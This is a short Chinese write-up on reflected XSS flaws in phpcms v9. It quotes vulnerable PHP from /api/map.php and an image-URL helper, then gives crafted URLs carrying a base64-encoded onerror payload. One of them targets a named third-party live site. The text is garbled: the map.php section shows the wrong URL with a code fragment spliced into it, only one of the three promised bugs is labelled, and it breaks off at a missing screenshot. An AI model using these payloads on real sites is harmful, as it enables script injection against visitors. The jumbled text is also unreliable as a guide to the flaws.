phpcms v9 三个xss
0x1 map.php文件反射型xss
漏洞出现在/api/map.php 265行左右:
<?php
} elseif(!empty($_GET['city']) &&
$maptype==1) {
if(!$_GET['city']) showmessage(L('error'));
$city
= urldecode(trim($_GET['city']));
echo
$city;
}
?>可以看出$_GET[‘city’]用urldecode解码后直接数出来了。
构造如下url:
global $image;http://m.youseeweb.com/index.php?m=wap&c=index&a=big_image&width=0&url=aHR0cDovL3d3dy5xaW5nc2g0bi5jb20vMS5hIiBvbmVycm9yPSJhbGVydCgvcWluZ3NoNG4vKSIvPi8vIA==
$upload_url = pc_base::load_config('system','upload_url');
$upload_path = pc_base::load_config('system','upload_path');
if(empty($imgurl)) return IMG_PATH.$smallpic;
$imgurl_replace= str_replace($upload_url, '', $imgurl);
if(!extension_loaded('gd') || strpos($imgurl_replace, '://')) return $imgurl;//返回
if(!file_exists($upload_path.$imgurl_replace)) return IMG_PATH.$smallpic;在这一句中直接将$imgurl返回,而且这里我们可以控制。if(!extension_loaded('gd') ||strpos($imgurl_replace, '://')) return $imgurl;构造如下url:
index.php?m=wap&c=index&a=big_image&width=0&url=aHR0cDovL3d3dy5xaW5nc2g0bi5jb20vMS5hIiBvbmVycm9yPSJhbGVydCgvcWluZ3NoNG4vKSIvPi8vIA==
但是这里要求开启wap功能,由于官方演示站没有开启wap功能,这里随便找一个站:
效果图:
